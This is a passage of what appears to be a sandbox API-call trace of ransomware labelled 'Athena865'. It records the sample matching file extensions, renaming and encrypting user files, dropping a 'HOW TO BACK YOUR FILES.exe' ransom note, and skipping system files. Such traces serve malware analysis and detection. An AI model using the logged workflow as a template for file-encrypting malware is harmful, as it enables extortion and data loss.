[0102.315] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1 [0102.315] lstrlenW (lpString="jet") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1 [0102.315] lstrlenW (lpString="jtx") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1 [0102.315] lstrlenW (lpString="kdb") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1 [0102.315] lstrlenW (lpString="kexi") returned 4 [0102.315] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1 [0102.315] lstrlenW (lpString="kexic") returned 5 [0102.315] lstrcmpiW (lpString1="I.mp3", lpString2="kexic") returned -1 [0102.315] lstrlenW (lpString="kexis") returned 5 [0102.315] lstrcmpiW (lpString1="I.mp3", lpString2="kexis") returned -1 [0102.315] lstrlenW (lpString="lgc") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1 [0102.315] lstrlenW (lpString="lwx") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1 [0102.315] lstrlenW (lpString="maf") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1 [0102.315] lstrlenW (lpString="maq") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1 [0102.315] lstrlenW (lpString="mar") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1 [0102.315] lstrlenW (lpString="marshal") returned 7 [0102.315] lstrcmpiW (lpString1="I3I.mp3", lpString2="marshal") returned -1 [0102.315] lstrlenW (lpString="mas") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1 [0102.316] lstrlenW (lpString="mav") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1 [0102.316] lstrlenW (lpString="maw") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1 [0102.316] lstrlenW (lpString="mdbhtml") returned 7 [0102.316] lstrcmpiW (lpString1="I3I.mp3", lpString2="mdbhtml") returned -1 [0102.316] lstrlenW (lpString="mdn") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1 [0102.316] lstrlenW (lpString="mdt") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1 [0102.316] lstrlenW (lpString="mfd") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1 [0102.316] lstrlenW (lpString="mpd") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1 [0102.316] lstrlenW (lpString="mrg") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1 [0102.316] lstrlenW (lpString="mud") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1 [0102.316] lstrlenW (lpString="mwb") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1 [0102.316] lstrlenW (lpString="myd") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1 [0102.316] lstrlenW (lpString="ndf") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1 [0102.316] lstrlenW (lpString="nnt") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1 [0102.316] lstrlenW (lpString="nrmlib") returned 6 [0102.316] lstrcmpiW (lpString1="3I.mp3", lpString2="nrmlib") returned -1 [0102.316] lstrlenW (lpString="ns2") returned 3 [0102.316] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1 [0102.316] lstrlenW (lpString="ns3") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1 [0102.317] lstrlenW (lpString="ns4") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1 [0102.317] lstrlenW (lpString="nsf") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1 [0102.317] lstrlenW (lpString="nv") returned 2 [0102.317] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1 [0102.317] lstrlenW (lpString="nv2") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1 [0102.317] lstrlenW (lpString="nwdb") returned 4 [0102.317] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1 [0102.317] lstrlenW (lpString="nyf") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1 [0102.317] lstrlenW (lpString="odb") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0102.317] lstrlenW (lpString="odb") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0102.317] lstrlenW (lpString="oqy") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1 [0102.317] lstrlenW (lpString="ora") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1 [0102.317] lstrlenW (lpString="orx") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1 [0102.317] lstrlenW (lpString="owc") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1 [0102.317] lstrlenW (lpString="p96") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1 [0102.317] lstrlenW (lpString="p97") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1 [0102.317] lstrlenW (lpString="pan") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1 [0102.317] lstrlenW (lpString="pdb") returned 3 [0102.317] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1 [0102.318] lstrlenW (lpString="pdm") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1 [0102.318] lstrlenW (lpString="pnz") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1 [0102.318] lstrlenW (lpString="qry") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1 [0102.318] lstrlenW (lpString="qvd") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1 [0102.318] lstrlenW (lpString="rbf") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1 [0102.318] lstrlenW (lpString="rctd") returned 4 [0102.318] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1 [0102.318] lstrlenW (lpString="rod") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1 [0102.318] lstrlenW (lpString="rodx") returned 4 [0102.318] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1 [0102.318] lstrlenW (lpString="rpd") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1 [0102.318] lstrlenW (lpString="rsd") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1 [0102.318] lstrlenW (lpString="sas7bdat") returned 8 [0102.318] lstrcmpiW (lpString1="ZI3I.mp3", lpString2="sas7bdat") returned 1 [0102.318] lstrlenW (lpString="sbf") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1 [0102.318] lstrlenW (lpString="scx") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1 [0102.318] lstrlenW (lpString="sdb") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1 [0102.318] lstrlenW (lpString="sdc") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1 [0102.318] lstrlenW (lpString="sdf") returned 3 [0102.318] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1 [0102.318] lstrlenW (lpString="sis") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1 [0102.319] lstrlenW (lpString="spq") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1 [0102.319] lstrlenW (lpString="te") returned 2 [0102.319] lstrcmpiW (lpString1="p3", lpString2="te") returned -1 [0102.319] lstrlenW (lpString="teacher") returned 7 [0102.319] lstrcmpiW (lpString1="I3I.mp3", lpString2="teacher") returned -1 [0102.319] lstrlenW (lpString="tmd") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1 [0102.319] lstrlenW (lpString="tps") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1 [0102.319] lstrlenW (lpString="trc") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0102.319] lstrlenW (lpString="trc") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0102.319] lstrlenW (lpString="trm") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1 [0102.319] lstrlenW (lpString="udb") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1 [0102.319] lstrlenW (lpString="udl") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1 [0102.319] lstrlenW (lpString="usr") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1 [0102.319] lstrlenW (lpString="v12") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1 [0102.319] lstrlenW (lpString="vis") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1 [0102.319] lstrlenW (lpString="vpd") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1 [0102.319] lstrlenW (lpString="vvv") returned 3 [0102.319] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1 [0102.320] lstrlenW (lpString="wdb") returned 3 [0102.320] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1 [0102.320] lstrlenW (lpString="wmdb") returned 4 [0102.320] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1 [0102.320] lstrlenW (lpString="wrk") returned 3 [0102.320] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1 [0102.320] lstrlenW (lpString="xdb") returned 3 [0102.320] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1 [0102.320] lstrlenW (lpString="xld") returned 3 [0102.320] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1 [0102.320] lstrlenW (lpString="xmlff") returned 5 [0102.320] lstrcmpiW (lpString1="I.mp3", lpString2="xmlff") returned -1 [0102.320] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\Rp h6y0xctdi_6X3ZI3I.mp3.Athena865") returned 108 [0102.320] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\Rp h6y0xctdi_6X3ZI3I.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\rp h6y0xctdi_6x3zi3i.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\Rp h6y0xctdi_6X3ZI3I.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\rp h6y0xctdi_6x3zi3i.mp3.athena865"), dwFlags=0x1) returned 1 [0102.321] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\Rp h6y0xctdi_6X3ZI3I.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\rp h6y0xctdi_6x3zi3i.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.322] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5184) returned 1 [0102.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.322] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.323] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.323] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.323] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1740, lpName=0x0) returned 0x17c [0102.323] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1740) returned 0x100000 [0102.324] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.324] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.324] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x527fa8 [0102.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527fa8 | out: hHeap=0x4f0000) returned 1 [0102.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0102.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0102.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.325] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.325] CloseHandle (hObject=0x17c) returned 1 [0102.325] CloseHandle (hObject=0x154) returned 1 [0102.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.329] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a2e710, ftCreationTime.dwHighDateTime=0x1d4c5e4, ftLastAccessTime.dwLowDateTime=0x1bfa9150, ftLastAccessTime.dwHighDateTime=0x1d4d2fa, ftLastWriteTime.dwLowDateTime=0x1bfa9150, ftLastWriteTime.dwHighDateTime=0x1d4d2fa, nFileSizeHigh=0x0, nFileSizeLow=0x1440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rp h6y0xctdi_6X3ZI3I.mp3", cAlternateFileName="RPH6Y0~1.MP3")) returned 0 [0102.329] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.329] ReleaseMutex (hMutex=0xec) returned 1 [0102.329] CloseHandle (hObject=0xec) returned 1 [0102.329] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs" [0102.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bbf8 | out: hHeap=0x4f0000) returned 1 [0102.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c500 | out: hHeap=0x4f0000) returned 1 [0102.329] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs") returned 72 [0102.329] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\BCCACF3B2956D3C551DFCA880B7920C8") returned 0xec [0102.329] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.329] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs" [0102.329] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.329] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\al9qesveumbs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.330] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\al9qesveumbs\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.330] GetLastError () returned 0x0 [0102.330] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.330] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.331] CloseHandle (hObject=0xf4) returned 1 [0102.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.331] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.331] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4533d4c0, ftCreationTime.dwHighDateTime=0x1d4d30c, ftLastAccessTime.dwLowDateTime=0xe41e43c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe41e43c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.331] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.331] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.331] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.331] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4533d4c0, ftCreationTime.dwHighDateTime=0x1d4d30c, ftLastAccessTime.dwLowDateTime=0xe41e43c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe41e43c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.332] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.332] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.332] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.332] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.332] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3223e00, ftCreationTime.dwHighDateTime=0x1d4c7e2, ftLastAccessTime.dwLowDateTime=0x6dd4bd70, ftLastAccessTime.dwHighDateTime=0x1d4c765, ftLastWriteTime.dwLowDateTime=0xe3ff51e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x14f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-6FpG.pptx.Athena865", cAlternateFileName="-6FPGP~1.ATH")) returned 1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2=".") returned 1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="..") returned 1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="windows") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="bootmgr") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="temp") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="pagefile.sys") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="boot") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="ids.txt") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="ntuser.dat") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="perflogs") returned -1 [0102.332] lstrcmpiW (lpString1="-6FpG.pptx.Athena865", lpString2="MSBuild") returned -1 [0102.332] lstrlenW (lpString="-6FpG.pptx.Athena865") returned 20 [0102.332] lstrcpyW (in: lpString1=0x241e8da, lpString2="-6FpG.pptx.Athena865" | out: lpString1="-6FpG.pptx.Athena865") returned="-6FpG.pptx.Athena865" [0102.332] lstrlenW (lpString="-6FpG.pptx.Athena865") returned 20 [0102.332] lstrlenW (lpString="Athena865") returned 9 [0102.332] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.332] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2190f0, ftCreationTime.dwHighDateTime=0x1d4d22e, ftLastAccessTime.dwLowDateTime=0x895e18e0, ftLastAccessTime.dwHighDateTime=0x1d4ca65, ftLastWriteTime.dwLowDateTime=0xe401b340, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xdf60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-d2hMT.xls.Athena865", cAlternateFileName="-D2HMT~1.ATH")) returned 1 [0102.332] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.332] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.332] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2=".") returned 1 [0102.332] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="..") returned 1 [0102.332] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="windows") returned -1 [0102.332] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="bootmgr") returned 1 [0102.333] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="temp") returned -1 [0102.333] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="pagefile.sys") returned -1 [0102.333] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="boot") returned 1 [0102.333] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="ids.txt") returned -1 [0102.333] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="ntuser.dat") returned -1 [0102.333] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="perflogs") returned -1 [0102.333] lstrcmpiW (lpString1="-d2hMT.xls.Athena865", lpString2="MSBuild") returned -1 [0102.333] lstrlenW (lpString="-d2hMT.xls.Athena865") returned 20 [0102.333] lstrcpyW (in: lpString1=0x241e8da, lpString2="-d2hMT.xls.Athena865" | out: lpString1="-d2hMT.xls.Athena865") returned="-d2hMT.xls.Athena865" [0102.333] lstrlenW (lpString="-d2hMT.xls.Athena865") returned 20 [0102.333] lstrlenW (lpString="Athena865") returned 9 [0102.333] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.333] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47e8640, ftCreationTime.dwHighDateTime=0x1d4d00b, ftLastAccessTime.dwLowDateTime=0xe401b340, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe401b340, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B6lAo1oUZJ4n11zTi", cAlternateFileName="B6LAO1~1")) returned 1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2=".") returned 1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="..") returned 1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="windows") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="bootmgr") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="temp") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="pagefile.sys") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="boot") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="ids.txt") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="ntuser.dat") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="perflogs") returned -1 [0102.333] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="MSBuild") returned -1 [0102.333] lstrlenW (lpString="B6lAo1oUZJ4n11zTi") returned 17 [0102.333] lstrcpyW (in: lpString1=0x241e8da, lpString2="B6lAo1oUZJ4n11zTi" | out: lpString1="B6lAo1oUZJ4n11zTi") returned="B6lAo1oUZJ4n11zTi" [0102.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c500 [0102.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb6) returned 0x51cdc8 [0102.334] lstrcatW (in: lpString1="B6lAo1oUZJ4n11zTi", lpString2="\\" | out: lpString1="B6lAo1oUZJ4n11zTi\\") returned="B6lAo1oUZJ4n11zTi\\" [0102.334] lstrcatW (in: 